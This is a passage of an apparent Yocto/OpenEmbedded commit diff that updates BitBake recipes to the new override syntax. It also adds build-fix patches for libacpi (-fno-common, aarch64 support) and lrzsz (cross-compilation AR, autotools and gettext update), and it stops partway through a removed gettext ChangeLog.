@@ -2,9 +2,9 @@ SUMMARY = "Keyboard maps"
DESCRIPTION = "Keymaps and initscript to set the keymap on bootup."
SECTION = "base"
-RDEPENDS_${PN} = "kbd"
+RDEPENDS:${PN} = "kbd"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
PACKAGE_ARCH = "${MACHINE_ARCH}"
PR = "r31"
@@ -37,8 +37,8 @@ do_install () {
fi
}
-PACKAGE_WRITE_DEPS_append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','systemd-systemctl-native','',d)}"
-pkg_postinst_${PN} () {
+PACKAGE_WRITE_DEPS:append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','systemd-systemctl-native','',d)}"
+pkg_postinst:${PN} () {
if ${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','true','false',d)}; then
if [ -n "$D" ]; then
OPTS="--root=$D"
@@ -47,4 +47,4 @@ pkg_postinst_${PN} () {
fi
}
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
diff --git a/meta/recipes-bsp/libacpi/files/0001-libacpi-Fix-build-witth-fno-commom.patch b/meta/recipes-bsp/libacpi/files/0001-libacpi-Fix-build-witth-fno-commom.patch
new file mode 100644
index 0000000000..32808fb92a
--- /dev/null
+++ b/meta/recipes-bsp/libacpi/files/0001-libacpi-Fix-build-witth-fno-commom.patch
@@ -0,0 +1,68 @@
+From 9839c169f513e65fc711646257b3e8588cce623c Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 5 Aug 2020 12:06:01 -0700
+Subject: [PATCH] libacpi: Fix build witth -fno-commom
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libacpi.c | 16 ++++++++++++++++
+ libacpi.h | 6 +++---
+ 2 files changed, 19 insertions(+), 3 deletions(-)
+
+diff --git a/libacpi.c b/libacpi.c
+index 4e34725..9344ea4 100644
+--- a/libacpi.c
++++ b/libacpi.c
+@@ -14,6 +14,22 @@
+ #include "libacpi.h"
+ #include "list.h"
+
++/**
++ * Array for existing batteries, loop until
++ * globals->battery_count
++ */
++battery_t batteries[MAX_ITEMS];
++/**
++ * Array for existing thermal zones, loop until
++ * globals->thermal_count
++ */
++thermal_t thermals[MAX_ITEMS];
++/**
++ * Array for existing fans, loop until
++ * globals->fan_count
++ */
++fan_t fans[MAX_ITEMS];
++
+ static int read_acpi_battinfo(const int num);
+ static int read_acpi_battalarm(const int num);
+ static int read_acpi_battstate(const int num);
+diff --git a/libacpi.h b/libacpi.h
+index 9334b79..5242d3d 100644
+--- a/libacpi.h
++++ b/libacpi.h
+@@ -183,17 +183,17 @@ typedef struct {
+ * Array for existing batteries, loop until
+ * globals->battery_count
+ */
+-battery_t batteries[MAX_ITEMS];
++extern battery_t batteries[MAX_ITEMS];
+ /**
+ * Array for existing thermal zones, loop until
+ * globals->thermal_count
+ */
+-thermal_t thermals[MAX_ITEMS];
++extern thermal_t thermals[MAX_ITEMS];
+ /**
+ * Array for existing fans, loop until
+ * globals->fan_count
+ */
+-fan_t fans[MAX_ITEMS];
++extern fan_t fans[MAX_ITEMS];
+ /**
+ * Finds existing batteries and fills the
+ * corresponding batteries structures with the paths
+--
+2.28.0
+
diff --git a/meta/recipes-bsp/libacpi/libacpi_0.2.bb b/meta/recipes-bsp/libacpi/libacpi_0.2.bb
index 5e7f7fa8e0..6d4be76bab 100644
--- a/meta/recipes-bsp/libacpi/libacpi_0.2.bb
+++ b/meta/recipes-bsp/libacpi/libacpi_0.2.bb
@@ -11,7 +11,9 @@ SRC_URI = "http://www.ngolde.de/download/libacpi-${PV}.tar.gz \
file://makefile-fix.patch \
file://libacpi_fix_for_x32.patch \
file://use_correct_strip_in_cross_environment.patch \
- file://ldflags.patch "
+ file://ldflags.patch \
+ file://0001-libacpi-Fix-build-witth-fno-commom.patch \
+ "
SRC_URI[md5sum] = "05b53dd7bead66dda35fec502b91066c"
SRC_URI[sha256sum] = "13086e31d428b9c125954d48ac497b754bbbce2ef34ea29ecd903e82e25bad29"
@@ -20,7 +22,7 @@ UPSTREAM_CHECK_URI = "http://www.ngolde.de/libacpi.html"
inherit lib_package
-COMPATIBLE_HOST = '(x86_64|i.86).*-(linux|freebsd.*)'
+COMPATIBLE_HOST = '(x86_64|i.86|aarch64).*-(linux|freebsd.*)'
CFLAGS += "-fPIC"
EXTRA_OEMAKE = '-e MAKEFLAGS= STRIP="echo"'
diff --git a/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/0001-Fix-cross-compilation-using-autoconf-detected-AR.patch b/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/0001-Fix-cross-compilation-using-autoconf-detected-AR.patch
new file mode 100644
index 0000000000..c8f0e2c4fe
--- /dev/null
+++ b/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/0001-Fix-cross-compilation-using-autoconf-detected-AR.patch
@@ -0,0 +1,36 @@
+From ecdcf0df6c28c65ca6d1e5638726e13e373c76c5 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 11 Nov 2020 22:58:55 -0800
+Subject: [PATCH] Fix cross compilation using autoconf detected AR
+
+currently its using 'ar' program from build host, which is not expected,
+we need to respect AR passed in environment
+
+Upstream-Status: Inappropriate [upstream hasn't been active since 1998]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ configure.in | 7 +++++++
+ 1 file changed, 7 insertions(+)
+
+diff --git a/configure.in b/configure.in
+index 4ddbe8b..b7c3c31 100644
+--- a/configure.in
++++ b/configure.in
+@@ -84,6 +84,13 @@ AC_ARG_ENABLE(syslog,
+ ])
+
+ dnl Checks for programs.
++m4_ifndef([AC_PROG_AR],[dnl
++ AN_MAKEVAR([AR], [AC_PROG_AR])
++ AN_PROGRAM([ar], [AC_PROG_AR])
++ AC_DEFUN([AC_PROG_AR],
++ [AC_CHECK_TOOL(AR, ar, :)])
++])
++AC_PROG_AR
+ AC_PROG_CC
+ AC_PROG_GCC_TRADITIONAL
+ dnl AC_PROG_INSTALL included in AM_INIT_AUTOMAKE
+--
+2.29.2
+
diff --git a/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/acdefine.patch b/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/acdefine.patch
deleted file mode 100644
index 682cf416e2..0000000000
--- a/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/acdefine.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-Add a description to the AC_DEFINE for LOCALEDIR so that it appears in config.h
-and silences a fatal warning.
-
-Upstream-Status:Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/configure.in b/configure.in
-index c10460c..aa20263 100644
---- a/configure.in
-+++ b/configure.in
-@@ -258,7 +258,7 @@ AC_SUBST(LIBS)
-
- AM_GNU_GETTEXT
-
--AC_DEFINE_UNQUOTED(LOCALEDIR,"$prefix/$DATADIRNAME")
-+AC_DEFINE_UNQUOTED(LOCALEDIR,"$prefix/$DATADIRNAME",[locale directory])
-
- AC_OUTPUT([Makefile intl/Makefile lib/Makefile testsuite/Makefile m4/Makefile \
- man/Makefile po/Makefile.in src/Makefile debian/rules Specfile systype \
diff --git a/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/autotools-update.patch b/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/autotools-update.patch
new file mode 100644
index 0000000000..ebd4a88081
--- /dev/null
+++ b/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/autotools-update.patch
@@ -0,0 +1,5749 @@
+Update autotools infrastructure (including gettext) to modern versions.
+
+Upstream-Status: Inappropriate [upstream hasn't been active since 1998]
+Signed-off-by: Phil Blundell <pb@pbcl.net>
+
+diff -uprN clean/lrzsz-0.12.20/configure.in lrzsz-0.12.20/configure.in
+--- clean/lrzsz-0.12.20/configure.in 1998-12-30 07:50:07.000000000 +0000
++++ lrzsz-0.12.20/configure.in 2019-11-25 16:22:37.000000000 +0000
+@@ -92,7 +92,6 @@ AC_PROG_RANLIB
+ AC_ISC_POSIX
+ AC_AIX
+ AC_MINIX
+-AM_C_PROTOTYPES
+ AC_C_CONST
+ AC_C_INLINE
+
+@@ -253,18 +252,13 @@ ihave$lookup_facility
+ fi
+
+
+-AC_SUBST(CFLAGS)
+-AC_SUBST(LDFLAGS)
+ AC_SUBST(LIBS)
+
+-AM_GNU_GETTEXT
++AM_GNU_GETTEXT([external])
+
+-AC_DEFINE_UNQUOTED(LOCALEDIR,"$prefix/$DATADIRNAME")
+-AC_LINK_FILES($nls_cv_header_libgt, $nls_cv_header_intl)
+-
+-AC_OUTPUT([Makefile intl/Makefile lib/Makefile testsuite/Makefile \
++AC_OUTPUT([Makefile lib/Makefile testsuite/Makefile \
+ man/Makefile po/Makefile.in src/Makefile debian/rules Specfile systype \
+ src/lrzszbug],
+-[sed -e "/POTFILES =/r po/POTFILES" po/Makefile.in > po/Makefile;
++[
+ chmod +x debian/rules;
+ test -z "$CONFIG_HEADERS" || echo timestamp > stamp-h])
+diff -uprN clean/lrzsz-0.12.20/intl/bindtextdom.c lrzsz-0.12.20/intl/bindtextdom.c
+--- clean/lrzsz-0.12.20/intl/bindtextdom.c 1998-04-26 14:22:36.000000000 +0100
++++ lrzsz-0.12.20/intl/bindtextdom.c 1970-01-01 01:00:00.000000000 +0100
+@@ -1,199 +0,0 @@
+-/* Implementation of the bindtextdomain(3) function
+- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
+-
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 2, or (at your option)
+- any later version.
+-
+- This program is distributed in the hope that it will be useful,
+- but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
+-
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, write to the Free Software Foundation,
+- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
+-
+-#ifdef HAVE_CONFIG_H
+-# include <config.h>
+-#endif
+-
+-#if defined STDC_HEADERS || defined _LIBC
+-# include <stdlib.h>
+-#else
+-# ifdef HAVE_MALLOC_H
+-# include <malloc.h>
+-# else
+-void free ();
+-# endif
+-#endif
+-
+-#if defined HAVE_STRING_H || defined _LIBC
+-# include <string.h>
+-#else
+-# include <strings.h>
+-# ifndef memcpy
+-# define memcpy(Dst, Src, Num) bcopy (Src, Dst, Num)
+-# endif
+-#endif
+-
+-#ifdef _LIBC
+-# include <libintl.h>
+-#else
+-# include "libgettext.h"
+-#endif
+-#include "gettext.h"
+-#include "gettextP.h"
+-
+-/* @@ end of prolog @@ */
+-
+-/* Contains the default location of the message catalogs. */
+-extern const char _nl_default_dirname[];
+-
+-/* List with bindings of specific domains. */
+-extern struct binding *_nl_domain_bindings;
+-
+-
+-/* Names for the libintl functions are a problem. They must not clash
+- with existing names and they should follow ANSI C. But this source
+- code is also used in GNU C Library where the names have a __
+- prefix. So we have to make a difference here. */
+-#ifdef _LIBC
+-# define BINDTEXTDOMAIN __bindtextdomain
+-# define strdup(str) __strdup (str)
+-#else
+-# define BINDTEXTDOMAIN bindtextdomain__
+-#endif
+-
+-/* Specify that the DOMAINNAME message catalog will be found
+- in DIRNAME rather than in the system locale data base. */
+-char *
+-BINDTEXTDOMAIN (domainname, dirname)
+- const char *domainname;
+- const char *dirname;
+-{
+- struct binding *binding;
+-
+- /* Some sanity checks. */
+- if (domainname == NULL || domainname[0] == '\0')
+- return NULL;
+-
+- for (binding = _nl_domain_bindings; binding != NULL; binding = binding->next)
+- {
+- int compare = strcmp (domainname, binding->domainname);
+- if (compare == 0)
+- /* We found it! */
+- break;
+- if (compare < 0)
+- {
+- /* It is not in the list. */
+- binding = NULL;
+- break;
+- }
+- }
+-
+- if (dirname == NULL)
+- /* The current binding has be to returned. */
+- return binding == NULL ? (char *) _nl_default_dirname : binding->dirname;
+-
+- if (binding != NULL)
+- {
+- /* The domain is already bound. If the new value and the old
+- one are equal we simply do nothing. Otherwise replace the
+- old binding. */
+- if (strcmp (dirname, binding->dirname) != 0)
+- {
+- char *new_dirname;
+-
+- if (strcmp (dirname, _nl_default_dirname) == 0)
+- new_dirname = (char *) _nl_default_dirname;
+- else
+- {
+-#if defined _LIBC || defined HAVE_STRDUP
+- new_dirname = strdup (dirname);
+- if (new_dirname == NULL)
+- return NULL;
+-#else
+- size_t len = strlen (dirname) + 1;
+- new_dirname = (char *) malloc (len);
+- if (new_dirname == NULL)
+- return NULL;
+-
+- memcpy (new_dirname, dirname, len);
+-#endif
+- }
+-
+- if (binding->dirname != _nl_default_dirname)
+- free (binding->dirname);
+-
+- binding->dirname = new_dirname;
+- }
+- }
+- else
+- {
+- /* We have to create a new binding. */
+- size_t len;
+- struct binding *new_binding =
+- (struct binding *) malloc (sizeof (*new_binding));
+-
+- if (new_binding == NULL)
+- return NULL;
+-
+-#if defined _LIBC || defined HAVE_STRDUP
+- new_binding->domainname = strdup (domainname);
+- if (new_binding->domainname == NULL)
+- return NULL;
+-#else
+- len = strlen (domainname) + 1;
+- new_binding->domainname = (char *) malloc (len);
+- if (new_binding->domainname == NULL)
+- return NULL;
+- memcpy (new_binding->domainname, domainname, len);
+-#endif
+-
+- if (strcmp (dirname, _nl_default_dirname) == 0)
+- new_binding->dirname = (char *) _nl_default_dirname;
+- else
+- {
+-#if defined _LIBC || defined HAVE_STRDUP
+- new_binding->dirname = strdup (dirname);
+- if (new_binding->dirname == NULL)
+- return NULL;
+-#else
+- len = strlen (dirname) + 1;
+- new_binding->dirname = (char *) malloc (len);
+- if (new_binding->dirname == NULL)
+- return NULL;
+- memcpy (new_binding->dirname, dirname, len);
+-#endif
+- }
+-
+- /* Now enqueue it. */
+- if (_nl_domain_bindings == NULL
+- || strcmp (domainname, _nl_domain_bindings->domainname) < 0)
+- {
+- new_binding->next = _nl_domain_bindings;
+- _nl_domain_bindings = new_binding;
+- }
+- else
+- {
+- binding = _nl_domain_bindings;
+- while (binding->next != NULL
+- && strcmp (domainname, binding->next->domainname) > 0)
+- binding = binding->next;
+-
+- new_binding->next = binding->next;
+- binding->next = new_binding;
+- }
+-
+- binding = new_binding;
+- }
+-
+- return binding->dirname;
+-}
+-
+-#ifdef _LIBC
+-/* Alias for function name in GNU C Library. */
+-weak_alias (__bindtextdomain, bindtextdomain);
+-#endif
+diff -uprN clean/lrzsz-0.12.20/intl/cat-compat.c lrzsz-0.12.20/intl/cat-compat.c
+--- clean/lrzsz-0.12.20/intl/cat-compat.c 1998-04-26 14:22:37.000000000 +0100
++++ lrzsz-0.12.20/intl/cat-compat.c 1970-01-01 01:00:00.000000000 +0100
+@@ -1,262 +0,0 @@
+-/* Compatibility code for gettext-using-catgets interface.
+- Copyright (C) 1995, 1997 Free Software Foundation, Inc.
+-
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 2, or (at your option)
+- any later version.
+-
+- This program is distributed in the hope that it will be useful,
+- but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
+-
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, write to the Free Software Foundation,
+- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
+-
+-#ifdef HAVE_CONFIG_H
+-# include <config.h>
+-#endif
+-
+-#include <stdio.h>
+-
+-#ifdef STDC_HEADERS
+-# include <stdlib.h>
+-# include <string.h>
+-#else
+-char *getenv ();
+-# ifdef HAVE_MALLOC_H
+-# include <malloc.h>
+-# endif
+-#endif
+-
+-#ifdef HAVE_NL_TYPES_H
+-# include <nl_types.h>
+-#endif
+-
+-#include "libgettext.h"
+-
+-/* @@ end of prolog @@ */
+-
+-/* XPG3 defines the result of `setlocale (category, NULL)' as:
+- ``Directs `setlocale()' to query `category' and return the current
+- setting of `local'.''
+- However it does not specify the exact format. And even worse: POSIX
+- defines this not at all. So we can use this feature only on selected
+- system (e.g. those using GNU C Library). */
+-#ifdef _LIBC
+-# define HAVE_LOCALE_NULL
+-#endif
+-
+-/* The catalog descriptor. */
+-static nl_catd catalog = (nl_catd) -1;
+-
+-/* Name of the default catalog. */
+-static const char default_catalog_name[] = "messages";
+-
+-/* Name of currently used catalog. */
+-static const char *catalog_name = default_catalog_name;
+-
+-/* Get ID for given string. If not found return -1. */
+-static int msg_to_cat_id PARAMS ((const char *msg));
+-
+-/* Substitution for systems lacking this function in their C library. */
+-#if !_LIBC && !HAVE_STPCPY
+-static char *stpcpy PARAMS ((char *dest, const char *src));
+-#endif
+-
+-
+-/* Set currently used domain/catalog. */
+-char *
+-textdomain (domainname)
+- const char *domainname;
+-{
+- nl_catd new_catalog;
+- char *new_name;
+- size_t new_name_len;
+- char *lang;
+-
+-#if defined HAVE_SETLOCALE && defined HAVE_LC_MESSAGES \
+- && defined HAVE_LOCALE_NULL
+- lang = setlocale (LC_MESSAGES, NULL);
+-#else
+- lang = getenv ("LC_ALL");
+- if (lang == NULL || lang[0] == '\0')
+- {
+- lang = getenv ("LC_MESSAGES");
+- if (lang == NULL || lang[0] == '\0')
+- lang = getenv ("LANG");
+- }
+-#endif
+- if (lang == NULL || lang[0] == '\0')
+- lang = "C";
+-
+- /* See whether name of currently used domain is asked. */
+- if (domainname == NULL)
+- return (char *) catalog_name;
+-
+- if (domainname[0] == '\0')
+- domainname = default_catalog_name;
+-
+- /* Compute length of added path element. */
+- new_name_len = sizeof (LOCALEDIR) - 1 + 1 + strlen (lang)
+- + sizeof ("/LC_MESSAGES/") - 1 + sizeof (PACKAGE) - 1
+- + sizeof (".cat");
+-
+- new_name = (char *) malloc (new_name_len);
+- if (new_name == NULL)
+- return NULL;
+-
+- strcpy (new_name, PACKAGE);
+- new_catalog = catopen (new_name, 0);
+-
+- if (new_catalog == (nl_catd) -1)
+- {
+- /* NLSPATH search didn't work, try absolute path */
+- sprintf (new_name, "%s/%s/LC_MESSAGES/%s.cat", LOCALEDIR, lang,
+- PACKAGE);
+- new_catalog = catopen (new_name, 0);
+-
+- if (new_catalog == (nl_catd) -1)
+- {
+- free (new_name);
+- return (char *) catalog_name;
+- }
+- }
+-
+- /* Close old catalog. */
+- if (catalog != (nl_catd) -1)
+- catclose (catalog);
+- if (catalog_name != default_catalog_name)
+- free ((char *) catalog_name);
+-
+- catalog = new_catalog;
+- catalog_name = new_name;
+-
+- return (char *) catalog_name;
+-}
+-
+-char *
+-bindtextdomain (domainname, dirname)
+- const char *domainname;
+- const char *dirname;
+-{
+-#if HAVE_SETENV || HAVE_PUTENV
+- char *old_val, *new_val, *cp;
+- size_t new_val_len;
+-
+- /* This does not make much sense here but to be compatible do it. */
+- if (domainname == NULL)
+- return NULL;
+-
+- /* Compute length of added path element. If we use setenv we don't need
+- the first byts for NLSPATH=, but why complicate the code for this
+- peanuts. */
+- new_val_len = sizeof ("NLSPATH=") - 1 + strlen (dirname)
+- + sizeof ("/%L/LC_MESSAGES/%N.cat");
+-
+- old_val = getenv ("NLSPATH");
+- if (old_val == NULL || old_val[0] == '\0')
+- {
+- old_val = NULL;
+- new_val_len += 1 + sizeof (LOCALEDIR) - 1
+- + sizeof ("/%L/LC_MESSAGES/%N.cat");
+- }
+- else
+- new_val_len += strlen (old_val);
+-
+- new_val = (char *) malloc (new_val_len);
+- if (new_val == NULL)
+- return NULL;
+-
+-# if HAVE_SETENV
+- cp = new_val;
+-# else
+- cp = stpcpy (new_val, "NLSPATH=");
+-# endif
+-
+- cp = stpcpy (cp, dirname);
+- cp = stpcpy (cp, "/%L/LC_MESSAGES/%N.cat:");
+-
+- if (old_val == NULL)
+- {
+-# if __STDC__
+- stpcpy (cp, LOCALEDIR "/%L/LC_MESSAGES/%N.cat");
+-# else
+-
+- cp = stpcpy (cp, LOCALEDIR);
+- stpcpy (cp, "/%L/LC_MESSAGES/%N.cat");
+-# endif
+- }
+- else
+- stpcpy (cp, old_val);
+-
+-# if HAVE_SETENV
+- setenv ("NLSPATH", new_val, 1);
+- free (new_val);
+-# else
+- putenv (new_val);
+- /* Do *not* free the environment entry we just entered. It is used
+- from now on. */
+-# endif
+-
+-#endif
+-
+- return (char *) domainname;
+-}
+-
+-#undef gettext
+-char *
+-gettext (msg)
+- const char *msg;
+-{
+- int msgid;
+-
+- if (msg == NULL || catalog == (nl_catd) -1)
+- return (char *) msg;
+-
+- /* Get the message from the catalog. We always use set number 1.
+- The message ID is computed by the function `msg_to_cat_id'
+- which works on the table generated by `po-to-tbl'. */
+- msgid = msg_to_cat_id (msg);
+- if (msgid == -1)
+- return (char *) msg;
+-
+- return catgets (catalog, 1, msgid, (char *) msg);
+-}
+-
+-/* Look through the table `_msg_tbl' which has `_msg_tbl_length' entries
+- for the one equal to msg. If it is found return the ID. In case when
+- the string is not found return -1. */
+-static int
+-msg_to_cat_id (msg)
+- const char *msg;
+-{
+- int cnt;
+-
+- for (cnt = 0; cnt < _msg_tbl_length; ++cnt)
+- if (strcmp (msg, _msg_tbl[cnt]._msg) == 0)
+- return _msg_tbl[cnt]._msg_number;
+-
+- return -1;
+-}
+-
+-
+-/* @@ begin of epilog @@ */
+-
+-/* We don't want libintl.a to depend on any other library. So we
+- avoid the non-standard function stpcpy. In GNU C Library this
+- function is available, though. Also allow the symbol HAVE_STPCPY
+- to be defined. */
+-#if !_LIBC && !HAVE_STPCPY
+-static char *
+-stpcpy (dest, src)
+- char *dest;
+- const char *src;
+-{
+- while ((*dest++ = *src++) != '\0')
+- /* Do nothing. */ ;
+- return dest - 1;
+-}
+-#endif
+diff -uprN clean/lrzsz-0.12.20/intl/ChangeLog lrzsz-0.12.20/intl/ChangeLog
+--- clean/lrzsz-0.12.20/intl/ChangeLog 1998-04-26 14:22:35.000000000 +0100
++++ lrzsz-0.12.20/intl/ChangeLog 1970-01-01 01:00:00.000000000 +0100
+@@ -1,1022 +0,0 @@
+-1997-09-06 02:10 Ulrich Drepper <drepper@cygnus.com>
+-
+- * intlh.inst.in: Reformat copyright.
+-
+-1997-08-19 15:22 Ulrich Drepper <drepper@cygnus.com>
+-
+- * dcgettext.c (DCGETTEXT): Remove wrong comment.
+-
+-1997-08-16 00:13 Ulrich Drepper <drepper@cygnus.com>
+-
+- * Makefile.in (install-data): Don't change directory to install.
+-
+-1997-08-01 14:30 Ulrich Drepper <drepper@cygnus.com>
+-
+- * cat-compat.c: Fix copyright.
+-
+- * localealias.c: Don't define strchr unless !HAVE_STRCHR.
+-
+- * loadmsgcat.c: Update copyright. Fix typos.
+-
+- * l10nflist.c: Don't define strchr unless !HAVE_STRCHR.
+- (_nl_make_l10nflist): Handle sponsor and revision correctly.
+-
+- * gettext.c: Update copyright.
+- * gettext.h: Likewise.
+- * hash-string.h: Likewise.
+-
+- * finddomain.c: Remoave dead code. Define strchr only if
+- !HAVE_STRCHR.
+-
+- * explodename.c: Include <sys/types.h>.
+-
+- * explodename.c: Reformat copyright text.
+- (_nl_explode_name): Fix typo.
+-
+- * dcgettext.c: Define and use __set_errno.
+- (guess_category_value): Don't use setlocale if HAVE_LC_MESSAGES is
+- not defined.
+-
+- * bindtextdom.c: Pretty printing.
+-
+-1997-05-01 02:25 Ulrich Drepper <drepper@cygnus.com>
+-
+- * dcgettext.c (guess_category_value): Don't depend on
+- HAVE_LC_MESSAGES. We don't need the macro here.
+- Patch by Bruno Haible <haible@ilog.fr>.
+-
+- * cat-compat.c (textdomain): DoN't refer to HAVE_SETLOCALE_NULL
+- macro. Instead use HAVE_LOCALE_NULL and define it when using
+- glibc, as in dcgettext.c.
+- Patch by Bruno Haible <haible@ilog.fr>.
+-
+- * Makefile.in (CPPFLAGS): New variable. Reported by Franc,ois
+- Pinard.
+-
+-Mon Mar 10 06:51:17 1997 Ulrich Drepper <drepper@cygnus.com>
+-
+- * Makefile.in: Implement handling of libtool.
+-
+- * gettextP.h: Change data structures for use of generic lowlevel
+- i18n file handling.
+-
+-Wed Dec 4 20:21:18 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * textdomain.c: Put parentheses around arguments of memcpy macro
+- definition.
+- * localealias.c: Likewise.
+- * l10nflist.c: Likewise.
+- * finddomain.c: Likewise.
+- * bindtextdom.c: Likewise.
+- Reported by Thomas Esken.
+-
+-Mon Nov 25 22:57:51 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * textdomain.c: Move definition of `memcpy` macro to right
+- position.
+-
+-Fri Nov 22 04:01:58 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * finddomain.c [!HAVE_STRING_H && !_LIBC]: Define memcpy using
+- bcopy if not already defined. Reported by Thomas Esken.
+- * bindtextdom.c: Likewise.
+- * l10nflist.c: Likewise.
+- * localealias.c: Likewise.
+- * textdomain.c: Likewise.
+-
+-Tue Oct 29 11:10:27 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * Makefile.in (libdir): Change to use exec_prefix instead of
+- prefix. Reported by Knut-HvardAksnes <etokna@eto.ericsson.se>.
+-
+-Sat Aug 31 03:07:09 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * l10nflist.c (_nl_normalize_codeset): We convert to lower case,
+- so don't prepend uppercase `ISO' for only numeric arg.
+-
+-Fri Jul 19 00:15:46 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * l10nflist.c: Move inclusion of argz.h, ctype.h, stdlib.h after
+- definition of _GNU_SOURCE. Patch by Roland McGrath.
+-
+- * Makefile.in (uninstall): Fix another bug with `for' loop and
+- empty arguments. Patch by Jim Meyering. Correct name os
+- uninstalled files: no intl- prefix anymore.
+-
+- * Makefile.in (install-data): Again work around shells which
+- cannot handle mpty for list. Reported by Jim Meyering.
+-
+-Sat Jul 13 18:11:35 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * Makefile.in (install): Split goal. Now depend on install-exec
+- and install-data.
+- (install-exec, install-data): New goals. Created from former
+- install goal.
+- Reported by Karl Berry.
+-
+-Sat Jun 22 04:58:14 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * Makefile.in (MKINSTALLDIRS): New variable. Path to
+- mkinstalldirs script.
+- (install): use MKINSTALLDIRS variable or if the script is not present
+- try to find it in the $top_scrdir).
+-
+-Wed Jun 19 02:56:56 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * l10nflist.c: Linux libc *partly* includes the argz_* functions.
+- Grr. Work around by renaming the static version and use macros
+- for renaming.
+-
+-Tue Jun 18 20:11:17 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * l10nflist.c: Correct presence test macros of __argz_* functions.
+-
+- * l10nflist.c: Include <argz.h> based on test of it instead when
+- __argz_* functions are available.
+- Reported by Andreas Schwab.
+-
+-Thu Jun 13 15:17:44 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * explodename.c, l10nflist.c: Define NULL for dumb systems.
+-
+-Tue Jun 11 17:05:13 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * intlh.inst.in, libgettext.h (dcgettext): Rename local variable
+- result to __result to prevent name clash.
+-
+- * l10nflist.c, localealias.c, dcgettext.c: Define _GNU_SOURCE to
+- get prototype for stpcpy and strcasecmp.
+-
+- * intlh.inst.in, libgettext.h: Move declaration of
+- `_nl_msg_cat_cntr' outside __extension__ block to prevent warning
+- from gcc's -Wnested-extern option.
+-
+-Fri Jun 7 01:58:00 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * Makefile.in (install): Remove comment.
+-
+-Thu Jun 6 17:28:17 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * Makefile.in (install): Work around for another Buglix stupidity.
+- Always use an `else' close for `if's. Reported by Nelson Beebe.
+-
+- * Makefile.in (intlh.inst): Correct typo in phony rule.
+- Reported by Nelson Beebe.
+-
+-Thu Jun 6 01:49:52 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * dcgettext.c (read_alias_file): Rename variable alloca_list to
+- block_list as the macro calls assume.
+- Patch by Eric Backus.
+-
+- * localealias.c [!HAVE_ALLOCA]: Define alloca as macro using
+- malloc.
+- (read_alias_file): Rename varriabe alloca_list to block_list as the
+- macro calls assume.
+- Patch by Eric Backus.
+-
+- * l10nflist.c: Correct conditional for <argz.h> inclusion.
+- Reported by Roland McGrath.
+-
+- * Makefile.in (all): Depend on all-@USE_INCLUDED_LIBINTL@, not
+- all-@USE_NLS@.
+-
+- * Makefile.in (install): intlh.inst comes from local dir, not
+- $(srcdir).
+-
+- * Makefile.in (intlh.inst): Special handling of this goal. If
+- used in gettext, this is really a rul to construct this file. If
+- used in any other package it is defined as a .PHONY rule with
+- empty body.
+-
+- * finddomain.c: Extract locale file information handling into
+- l10nfile.c. Rename local stpcpy__ function to stpcpy.
+-
+- * dcgettext.c (stpcpy): Add local definition.
+-
+- * l10nflist.c: Solve some portability problems. Patches partly by
+- Thomas Esken. Add local definition of stpcpy.
+-
+-Tue Jun 4 02:47:49 1996 Ulrich Drepper <drepper@cygnus.com>
+-
+- * intlh.inst.in: Don't depend including <locale.h> on
+- HAVE_LOCALE_H. Instead configure must rewrite this fiile
+- depending on the result of the configure run.
+-
+- * Makefile.in (install): libintl.inst is now called intlh.inst.
+- Add rules for updating intlh.inst from intlh.inst.in.
+-
+- * libintl.inst: Renamed to intlh.inst.in.
+-
+- * localealias.c, dcgettext.c [__GNUC__]: Define HAVE_ALLOCA to 1
+- because gcc has __buitlin_alloca.
+- Reported by Roland McGrath.
+-
+-Mon Jun 3 00:32:16 1996 Ulrich Drepper <drepper@cygnus.com>
